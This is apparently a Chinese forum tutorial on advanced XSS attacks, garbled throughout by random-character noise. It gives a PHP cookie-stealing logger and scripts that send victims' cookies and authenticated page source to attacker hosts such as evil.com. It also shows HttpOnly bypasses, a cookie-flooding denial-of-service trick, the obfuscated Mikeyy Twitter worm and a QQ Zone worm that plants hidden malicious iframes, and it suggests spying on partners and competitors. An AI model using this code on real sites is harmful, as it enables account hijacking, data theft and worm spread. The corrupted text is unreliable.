0 R, N. L O1 I2 i% ^3 T% W P9 \* T) ?) r, k& M; d C8 h. t
} - ]( C/ Q! L+ a- S8 Y
+ q3 O ?3 r4 | {. X
. G7 G e5 y# J6 E$ `. ~+ m
$ M5 X* N, U! s/ C Y
doMyAjax('administrator','administrator@alibaba[1].txt'); / e" w) o* ]2 b2 p$ s2 p' @: ~" \
r, @2 E5 C7 }$ m# U) R; P
, t5 Z; G, j8 H o8 D8 O3 s5 s2 W
: w4 z0 Y$ v* t" P0 w, z</script>, z( [; P8 Y2 X* C( h
8 F( s. V- I$ W& {
# X6 I& r7 U" K- R
5 Z2 X4 t% z( i3 K w r# ~0 ^ I% c# q( J# e2 |* S. d
" j1 p6 g; Q/ R. v# A/ T+ N
a.php7 } ]+ _ P: E7 P; j$ q$ b5 q. u
! k6 j. ?$ O" p# t- r" j" ~
& b* l. b4 D) t1 L+ c6 z0 \# v% H
9 A) g/ G& Q% q<?php
3 w1 [; _9 K) m6 R' s6 p! F C# h! W, b6 e4 d
& G& d! X( ]! ]: C9 ?
8 `/ L K$ s) S3 }$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
5 f% ]; P: N# u/ N& u. K. F9 ?$ v: j7 w: \
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
& x. c- ?" m3 E, k+ s& u! ?6 I2 i8 [ n" F) w" A
$ D" t7 R. A% R! d
% f; [. b0 q* ^9 O2 J8 l$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
; ?7 \$ p2 U k9 \# W- k7 |# G$ h/ w1 ?7 w+ w. j) `, Q5 t
fwrite($fp,$_GET["cookie"]);
- w0 S1 N( J2 @+ o' g" |
0 \0 o, O3 ~& e* i. cfclose($fp);
3 m0 r3 K! ~7 O& N0 B' d$ Q% n" a k- Z
7 w( M7 A# C! @5 m, \: X?> ( K& a! F( b5 k9 o, q! C
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
; S. _# L/ a N6 a, q/ K+ J, X( S: n, `: @ R7 |5 F% t* ]
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
9 m! P0 G! c% c利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.* A8 W& t" S1 G3 e) Q7 m! i
* W- `* n, a( h3 s8 p7 @* G
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
8 S u3 _* @6 e i# `8 ?) `3 V/ N8 p2 J( Z p
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);" X1 B) S! T2 l! D+ E. ?
" z: n; W V" B4 R% w6 z1 b! W7 n
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
+ R. I, q: i4 @ d* V4 F7 ~2 x7 V( z5 \0 y* T+ N2 f
function getURL(s) {
- S9 ~' ]: {; v3 N0 u2 [; W3 V, N% l! a. b! D3 b: S! [$ S/ c+ ?' T5 M
var image = new Image();5 \( ^# A6 G5 e0 Q
1 Q7 C% N: G# ~2 |
image.style.width = 0;: m5 `# f V2 O" j( }
& ~3 a* J" a9 K8 k) }6 v, y5 e2 m* Aimage.style.height = 0;. h) u# b# O* H, a2 B
8 L% R, \% e6 V( f$ gimage.src = s;
) q; \0 J, b6 g
0 W7 K' [/ J$ z( u6 e+ {; Y}
W: I% D; q+ T0 \! l w. S' o/ t9 x' h+ t3 T
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);# b6 _ n. e* {6 [6 [2 s/ ?
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.' D5 f/ t+ x- Q+ o2 e, d7 H
这里引用大风的一段简单代码:<script language="javascript">
7 {' Z* G: x$ @6 q$ [" y
- w6 X, c g# B! O4 G- ~var metastr = "AAAAAAAAAA"; // 10 A
% H- e7 U1 ?$ J' ?: l) A6 g. K
% K. |" p3 s; r1 o P! D, D9 c) Evar str = "";, T, z% L7 o4 f: p: t' m
5 B6 S2 R+ m- r7 Q" T' _while (str.length < 4000){
% S1 T6 |' v3 ]- W% E# O# b5 x/ G" `) Y( y' c! ?0 d+ _& Y5 ?" ?; y
str += metastr;
* `/ K$ i) X: g8 G' n
( G! {0 Z9 b) |; k$ U; \; a}: z# J/ }. R6 @9 D
* [2 ]. O$ u9 S% _& K' v4 p
6 w4 V, x; b+ F
" |5 w6 A; j, j3 ?$ K
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS4 \, @. S, C6 J0 i. m
' z# x" d! w: ]. d: K' |& z</script>
2 P! d& d6 T" \; `$ ?3 i8 r6 w; H( M$ L2 E' c
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html8 [. C! H& t+ {# L
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思. N5 t* q! t+ T# ^
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1509 |+ n- g0 |2 \/ H; |
2 N$ w x. ^( }0 S( ~假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.% S& h2 c( R4 \1 r; d3 D$ [
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
C" K! Y+ j3 @8 u9 m% _1 L
* x& i+ A/ a( n- ^) Z
! ^8 X4 L4 X6 p4 b. D, C" l( \- f
+ M/ ]+ H' P6 z
& k/ L& q/ M1 b4 i, B% `
6 p& Q9 ^: X% q; S$ j
4 T" n! n X' k(III) Http only bypass 与 补救对策:$ `- H x8 ~3 k, g
, P5 N* I7 T) R, \ M/ |什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.6 Z! _0 R. X0 g, v6 P
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">$ w" R" E1 L$ i, D
2 b- {, f& f, K3 @0 D
<!--% o2 |2 n, K$ S
+ Q* F# q& u. A3 {* N/ p9 j# t! Mfunction normalCookie() { 0 }% g2 |/ o" ^6 R& J9 E* h
( F7 p/ l2 b8 f. ~document.cookie = "TheCookieName=CookieValue_httpOnly"; * |/ _+ Y4 G5 ^. F! ~- W
) f5 b6 C/ a0 r( v9 Palert(document.cookie);4 H9 F. D9 N( h& H( _3 Y
7 f& d! X' G7 e6 ~9 ?/ w5 e}$ G. B" y; C# A* w _
. F( L4 C- p% j; r! V, y! D9 f' D$ T
( p( D6 n0 a- R
# U( v9 }3 U4 N7 g& k
; |7 V5 s4 \+ q
3 c M$ r7 N8 F% `5 jfunction httpOnlyCookie() {
8 i0 [& S7 n) P0 v% c# `# `$ B7 B- I8 ~1 C/ j
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; ' `* a3 ?/ O4 @6 h9 I- |: g
! K/ T6 @8 W% Y# f( ]/ n; |
alert(document.cookie);}
% ]0 b6 O% A l- C, }! C3 I6 ]" j+ r I9 j. l
" O. n, p5 x) T6 O# C$ W+ y4 `; g
S2 O3 ]% S4 U& i8 j//-->
9 v. d+ _# A2 s6 V& u& Z2 H l, y8 U* F+ Q% C
</script>
2 O) r$ ^- q7 p2 L, M) D3 L5 T4 s9 v/ \* H0 ~
. c5 G; l F7 ~# L7 A7 e1 O/ q
- |9 E5 `7 K7 h$ ^) ?: j' ~<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>6 v8 ]$ e# ]+ D% a
4 [- D! O8 V/ V+ K<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
2 y p4 M2 H1 X% t! O复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
, {; e' E ~: v1 B; a, p( d5 \, k
- X3 ~6 M- o! t5 C/ s7 h: k3 O2 }3 p2 G2 {7 L4 @' k4 C2 y
0 a' e! u5 i/ U7 Vvar request = false;) n0 Q% t7 p' _; u
/ C: \, L1 L5 h/ L2 Z# K/ i2 N1 }
if(window.XMLHttpRequest) {
) z; i8 r0 S$ b g. A. X
" f m1 e9 z& y2 z1 W) L request = new XMLHttpRequest();
- I( v- ^* z4 a: n, C1 M& i9 E- {* c8 W% |' q2 I
if(request.overrideMimeType) {0 c# \% R4 J7 F* B6 u& A
% F. u9 J$ y- `+ b0 ]0 B
request.overrideMimeType('text/xml');' S2 z: }/ e3 B7 [: W* v5 A$ k' m6 f
6 L% E5 N+ x9 J }
( G+ ~* x! }! T, d7 M
3 q u) s b6 ]8 Q' T' | } else if(window.ActiveXObject) {6 ^! j4 |( i2 \9 @4 e9 a+ j
; k1 h# a/ D: V/ m" n/ L
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];. ]" h3 \! u% z# n
% u* r: N% l# @2 H& p/ G for(var i=0; i<versions.length; i++) {
7 {6 B2 \3 ]7 b* F) P7 d( k1 Q- h' Q/ A) y2 t
try {
: r2 d w' R t
3 M# n T; B. Y# a/ o request = new ActiveXObject(versions);
) o* s( W$ }: P9 I1 p/ T! n0 D
' ^$ b5 I, \( t$ G7 f* i } catch(e) {}- g9 w1 g# U) c) j1 Q8 |. I
2 n" q+ G% z9 P6 p7 `& N6 N }+ Z: c% E' C& i6 d' u4 `9 K" ], k
8 w- y& N2 D: e: K+ F2 q
}
2 ]9 |9 Q! l* y2 x: Y6 L8 G6 F* Y: ^* Z. e6 O J
xmlHttp=request; B5 b- _3 ]" ?+ D. E; g
9 W9 u0 K3 U( e2 ~# ]xmlHttp.open("TRACE","http://www.vul.com",false);
9 q5 C8 L( R3 R6 k
- J5 g7 N" i; e. N- fxmlHttp.send(null);
: v9 j, l! L3 x* ?
4 u$ z6 L% L4 q; y7 S0 f+ k0 kxmlDoc=xmlHttp.responseText;
9 z }5 d' t6 ]5 K" q5 N. k6 K2 g W6 l0 x& l# K& r0 f
alert(xmlDoc);- Q1 P# o! {6 m) f* }0 S* I
/ d N8 C# r: Q</script>
2 g7 S8 |0 `/ x1 j复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
, K3 _; L7 K/ @# {6 T5 U
( i, A5 l$ v& o& ?! T& Q& Q1 ^var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
+ y* d5 C3 [" \) M$ w: ]1 W: _. q5 o) K; G1 r9 I$ T8 J
XmlHttp.open("GET","http://www.google.com",false);
* K M4 E9 i; r5 A4 X5 ?7 V0 p" V! e* u7 v2 e
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
) k% W; ]; s5 x+ n# i# o0 I6 m
2 }4 I C3 G5 n/ `) S0 aXmlHttp.send(null);3 H: J; c; Y4 M% l
) @0 G3 W" M6 e$ T. b
var resource=xmlHttp.responseText$ U a1 y, j3 V, A* m f
8 p* j+ [; _' C8 X! b9 [, b
resource.search(/cookies/);, m" W8 ~) q; _
4 Z- F+ V0 L k! F......................# j4 P# J* G! D) E& j* V
4 _5 L! t9 j: Z \7 {
</script>
. L. m& Y+ T6 C! H
' S/ H$ R9 l( g R% w2 o6 }- o3 R' _
5 s! h! ]5 |. e: g# C; w3 B
- j, _6 t( u% e U5 ]+ \2 ~
( f& s0 ~1 R1 m; x" |( D9 D- j6 g. H* x
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: c, N, z( O* [/ {; J5 r) J. E1 {( a" O2 N# a Z' \8 z* _7 {+ G
[code]
+ l# X& W2 p5 a# Y" i
# }1 w5 k' d3 {2 b" JRewriteEngine On
- ]! L6 p. }' M5 F/ t: d2 p, h
" |& X4 `7 z3 c3 N/ e/ z8 eRewriteCond %{REQUEST_METHOD} ^TRACE
" s1 A5 g* @/ z3 p2 ?+ ]" D6 }$ D7 O8 P2 ^& t S7 _' N5 z
RewriteRule .* - [F]; @7 e# y2 N4 C# N, ?
" m L U, P. W4 W2 U; p
: z1 T* n3 Y6 L9 f/ U( g
) k, |8 T0 M( O9 JSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求) O0 G3 D; Q4 g, G* O1 G* L( P
) V; V. n! B1 ^; Uacl TRACE method TRACE o: u& y0 b7 ?) M# x0 J" }
: \' G9 I. @" k8 Z4 K+ W) V2 W...
$ Y) t% h6 m7 j( B, N/ V R* M; c" w# {4 N
http_access deny TRACE
- z/ I6 X2 }2 O复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
0 U$ T' \" ]! @% y, k$ K! b
) u- o k$ g2 ~0 N( Vvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; W* D u4 _" J- k# W" ]0 \+ F9 f0 P
XmlHttp.open("GET","http://www.google.com",false);
8 V, W2 m, b7 _' t) ~# @- b4 l/ B" [/ U, B, A W
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");4 m* Y* t5 O$ q8 S0 v* n
( h7 |5 X2 ]( l5 g+ P1 \% t# a7 E" |+ FXmlHttp.send(null);
5 i5 ?% z7 L! J, m4 t# ]- R% w# F+ [
</script>/ ?* P* A+ R z! V+ F
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>' q5 ^& ~; {1 c8 K4 M
4 l, b0 P' f( R- ~) Evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");$ K S" p' [& L, ]. p" G+ O
, e7 T) G1 U/ m6 j7 d$ f- S
+ t1 d+ n' ^/ n- m
+ V1 G; o" H% g4 X) P1 IXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);0 P5 R6 j. F! l/ H9 ?- T
7 h* R% {0 T. FXmlHttp.send(null);+ g! W, S8 \& ~, ^7 y0 {
" b5 ^9 a% X1 z: Q" ^% i
<script>; R9 S O" g3 |$ \, W4 C
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.6 p4 s/ b# o, u2 ]1 {8 B* t
复制代码案例:Twitter 蠕蟲五度發威
$ N3 Y4 Q9 j4 H% y" R- T% U. s第一版:) f+ ?( K3 q# ?+ n% a: `* \8 ?
下载 (5.1 KB)# y( |1 b+ X- d" i3 G
+ P' A& }& C: l3 p/ X
6 天前 08:27
9 ^) h# e4 s' l. f0 Q; B4 U |) X' J r9 l, `9 P9 r
第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; & z3 F7 |7 L6 A
4 D: ~. ~/ Q a( n. L" R 2.
! m7 u0 R2 ` ]+ V( ^ l' k- s5 F& Y) V0 d- p8 X
3. function XHConn(){
7 |: }% R8 } K% f& |2 u5 d& a. p- r2 u2 V0 e1 G" j% H5 i& B- v
4. var _0x6687x2,_0x6687x3=false; $ `. `: N7 s+ i% J' k
6 z% I: B1 f) p
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } % e6 D$ H4 f) u5 L
4 s& ~* d" |" A' M6 j
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
: ^. |' _) U7 a( G, j9 b2 p0 x) R% T; O. r, y5 y5 @
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } # M% P& W+ k4 X% }# ~* o O
3 f* {) _& c4 R" R5 R+ y: E$ k
8. catch(e) { _0x6687x2=false; }; }; };
* ]! o) X7 ?& }- n2 M5 t6 c& a: \复制代码第六版: 1. function wait() {
. K" s" V- I! c. n+ Q c' [9 W$ Z7 G- _6 b; _
2. var content = document.documentElement.innerHTML;
* a5 i8 r1 s; F6 P( M, [7 Z! y& `6 t1 N) Z- ?
3. var tmp_cookie=document.cookie;
" s& ~- Y" X5 z% O9 k! J1 {- ~
! A% b3 ~$ r! s. u 4. var tmp_posted=tmp_cookie.match(/posted/); 6 q8 A( B" Y, c' Z0 D
8 J8 {4 w8 z% n7 u: G7 Y 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
" m* ^, k! k: g9 Z9 M8 T! R, n% Q5 H8 N$ D6 y7 ^% l" H
6. var authtoken=authreg.exec(content); : {9 u) ~6 u, N2 d! P8 A- I. {, j
! U. Y, R0 z: G1 ^% c 7. var authtoken=authtoken[1]; 7 w5 p: f& ?/ m; f. c: i2 e+ |
7 r# t# q) E7 X% S9 Q+ r& H0 o 8. var randomUpdate= new Array(); 8 \; b% o( a! ?+ P' s a, m0 t
2 x& b+ _4 y$ J/ Z
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; * z+ O' W! d' ]5 S
, Y* j8 F+ G, v" V+ g4 z* b/ n6 n" ^ 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; " Q' m5 ~0 G) `" _* F$ @, R
* j# F* M [# \0 t9 A
11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ( q5 `3 o d. T
, ?0 s- r. ~8 E1 h. ]1 \7 M5 ` 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ; W8 e9 E+ ~2 x: b3 i( N, f5 e
( V7 Z5 F ^/ b: O1 Y$ A" S
13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; / }' U' N8 Q F2 q y: S8 w
1 \ Z, \) G( @/ D! W# n6 i% r 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; ) |; w/ a* ^3 ~7 p6 g. G( k7 `+ z
7 J! d V# y" z* s3 f
15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; ( a9 J* o: I. i/ G' }( W. C0 f+ |
/ I4 m) d3 R8 r. B4 |) h: t% P 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; " B" r) Q0 a! y
3 d1 y9 C; B8 [' X+ d
17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 9 | r: T4 Z# f' k1 q7 @
, d/ [! _0 w: Q0 f& q 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
2 P; H" p- p8 W8 H" n: `9 s
+ i0 S/ e- W1 p 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; , W* _" n$ u1 [* m0 {4 r4 L
( g. V1 D; h/ V, f7 ^8 P8 x
20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
8 _8 D: R7 G- }5 P) L
: x4 r; c# H" s. M. w4 H 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; / c# r" S& i. d: V8 _) e; A
9 t' m* j: c e4 m$ x/ H) N
22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; : p! R. k2 P \5 P
5 b% |0 g1 t% Q
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
( D8 Y% ^( d0 E' G$ R% C
# Q# C l: e, x1 y/ ?6 y4 C9 \! b 24. % U5 U5 [1 `0 ?& r% j# Z1 ?# K$ F S
6 B! @0 S {% H8 m4 L2 ?% A) a
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
0 b7 j% x" S" l3 J! F
! c6 z! ]& o, s( b O 26. var updateEncode=urlencode(randomUpdate[genRand]);
' X" H- T; x3 x6 x( w: t; E l+ b
7 V3 Y. ~, ]* v- c 27.
- E( q% T8 ]$ i& t d2 g
( A% b3 u4 O5 b4 f% a M 28. var ajaxConn= new XHConn();
" l1 B ~+ K2 r g7 {6 w/ U
* p. c/ T7 q5 i5 `/ G7 [- u 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
6 |* J' N$ U/ a7 u( L0 p3 b2 w& J( D0 w! n( C
30. var _0xf81bx1c="Mikeyy"; 1 O: n$ q6 L* }
# I. i; Z# F4 j7 V7 x6 b* H+ E 31. var updateEncode=urlencode(_0xf81bx1c); 2 G0 z4 K+ X, ]% y
9 ]+ @% ^; J% m4 ^ 32. var ajaxConn1= new XHConn();
/ [' k: S0 m; T0 E5 s
; {0 c( v$ G1 c8 W* j# X5 I0 K S 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
; W4 z1 o' U4 v# r1 i
# S# o! n6 A8 p/ x Y 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
* a! @& Z8 }' K" l& a) `$ w$ o
! ?; g: ?* i3 [: L8 `/ ^( e 35. var XSS=urlencode(genXSS);
! b- m% r0 ?2 s8 [' F4 U9 I L" ]1 T( _
36. var ajaxConn2= new XHConn();
0 f7 i3 ], y/ ^" Y2 t
! M, w, F- Z: o3 U, k3 _! [( U8 U 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); / q. S3 T& j2 x3 m$ |0 M0 {
- z6 d1 |. t) x$ Y" \/ [7 V/ a. r
38.
% g. N$ N' N6 T' T# I; V
0 ~* `% B2 p. i% A' q9 C5 T) \ 39. } ; 0 n& R R5 D8 L) w; r! h
: l0 f Y! H$ c; i5 g: U [0 Q* E: x 40. setTimeout(wait(),5250);
6 R7 g+ } G+ M8 @! B复制代码QQ空间XSSfunction killErrors() {return true;}- l# L6 Y K5 N! m) O2 \; e z: V& a
1 Z1 B- x7 w: C1 y0 C) vwindow.onerror=killErrors;
) y) s4 j5 F M( L9 o" z6 Q8 D+ N6 ~- U- a) Z
- X2 E# o$ F8 \5 v% V% G* F3 a/ m
" u: v. G* p) Svar shendu;shendu=4;9 c& a) X. c; b, D( ?
3 n& R" a) s; k. J9 ^& _7 ^; ?, ?* J
//---------------global---v------------------------------------------
+ @# W* Q2 H- X' e* N, Q8 b9 w% _6 w' b/ f, o l/ t
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
' B5 k$ W; \1 b1 `! v
* r: A8 B3 m6 C+ o1 f% X# O- |var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ D$ o5 O1 w( N8 n0 a% b8 v) ~7 j1 o% S
var myblogurl=new Array();var myblogid=new Array();
# R5 t4 J( j: r3 f6 m) T, W8 v4 P% H! B! M" w) c
var gurl=document.location.href;
2 z* {; f( G1 Y/ [, G: q4 m9 D: ^6 J; Z3 W( `( B/ t6 _# d& M
var gurle=gurl.indexOf("com/");
- S1 V* V2 C v' I @' D
: f7 M3 M& Q% R gurl=gurl.substring(0,gurle+3);
" B+ Z; S( Q2 D# v* b9 F
0 H8 C& f! H' _1 T var visitorID=top.document.documentElement.outerHTML;$ {8 }+ h: t3 E. v- h
. q' d& M9 d' J3 N; [6 [0 e
var cookieS=visitorID.indexOf("g_iLoginUin = ");, }0 r+ B6 G5 j- L
' S2 i/ y% ]& v5 c& w0 b visitorID=visitorID.substring(cookieS+14);% ~. s/ S" b, U8 c8 M
! @: I; A- a# Y cookieS=visitorID.indexOf(",");, Y: R* F2 i% v {/ Y* E4 c
! L( P8 Q4 M$ Q; c" w/ m
visitorID=visitorID.substring(0,cookieS);4 A- k9 J5 g0 P, I9 l! p g
4 @% f0 L1 B5 X& V( B
get_my_blog(visitorID);: U6 t. ~" g, f1 z) a, Z' a$ W4 R
O# Z$ g" _3 e) y1 }# Y
DOshuamy();
# K' Z4 A8 F6 e. U
4 n w2 a, p8 o% L
- _/ u# u- d0 B9 ~+ g5 H5 u! d6 Y6 `2 S5 d% m% P8 v2 g
//挂马* W; y- f: P3 b! ]( r! |9 }
; d3 ^! b7 C$ Qfunction DOshuamy(){, K& p m- h2 R8 b; y! \
+ b8 b; @/ J+ f+ @1 F7 ~6 ?; ?var ssr=document.getElementById("veryTitle");
% z" d5 a; ?; ~! Q! |* j. x
) P5 [0 t3 }) i1 F) M0 I' Tssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");: v1 a4 H' I0 F! M' {
' X- K# s$ Z- [$ i( X1 @}
h! q# @/ s6 m2 v8 \
; e6 N/ u8 Z8 C- L% | B: P) d5 i" ^8 F3 ~' _. N. Y
9 y/ m2 `. M6 S5 s( g" ]- B
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
2 E$ N! ~; B9 @1 L% f$ w9 w
3 t. L( V I; M% \5 [( C) e$ Nfunction get_my_blog(visitorID){- _. p4 s5 Y0 {5 q6 F0 E
9 _, p! g& \, O
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";- G6 Z7 ~, J* r3 V9 E# b
8 n. R4 V. D9 P1 {
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
4 O, r$ x6 v: `% ^2 p
9 |, f' C. U9 ^' c# h if(xhr){ //成功就执行下面的
$ o* g8 t1 ]6 T+ G' |; R1 L5 Q
l( o; W( R" D6 Q: P {& b xhr.open("GET",userurl,false); //以GET方式打开定义的URL
! o* a _9 A! {3 e+ S; B
. O3 Y5 A6 @5 q* W+ U- b: b xhr.send();guest=xhr.responseText;
: x/ H/ P; ?1 P7 J& c( {5 f; y: a9 t7 z$ t( n
get_my_blogurl(guest); //执行这个函数
+ f* t9 B% V3 S. P; D' g1 n0 }6 h
}, }9 O* I$ P8 `5 k8 {+ `( H* _, o
6 R# ]) ~/ L' A
} J. X5 h9 [# ^
' ?, F6 z' V* l* Y) m* x* e3 K) M- ?2 f% j6 F+ o, _
7 Z' u; Q$ [8 s) Q; z
//这里似乎是判断没有登录的" b* v/ o& v i6 E1 _
0 Q" n# y+ o/ }, a e! Ufunction get_my_blogurl(guest){" D2 X+ d! _8 T/ L' }2 q' ^
# J5 ~% B6 J! f5 d
var mybloglist=guest;
& U4 O9 |$ e5 _1 L
1 A% ^; V" G5 I0 S" _( c var myurls;var blogids;var blogide;. s; g6 B9 e: \+ w& R
. g# I! e0 s2 `3 h& z
for(i=0;i<shendu;i++){
# E& \$ K' O* G- A {: g) p' H, x3 k4 p
myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
% u* H: o5 J6 B- @
$ x2 z: H; G6 M" a' @# s7 \ if(myurls!=-1){ //找到了就执行下面的
2 r+ y3 z$ v5 D7 ^1 Z8 P. t# a0 f9 u4 w, k& A
mybloglist=mybloglist.substring(myurls+11);6 c9 z7 C3 a9 y4 w8 J" K
6 r T; ~; f3 s+ \6 H
myurls=mybloglist.indexOf(')');- L, r/ s5 i t, A' r
& v P" T1 y! K; o7 g4 r
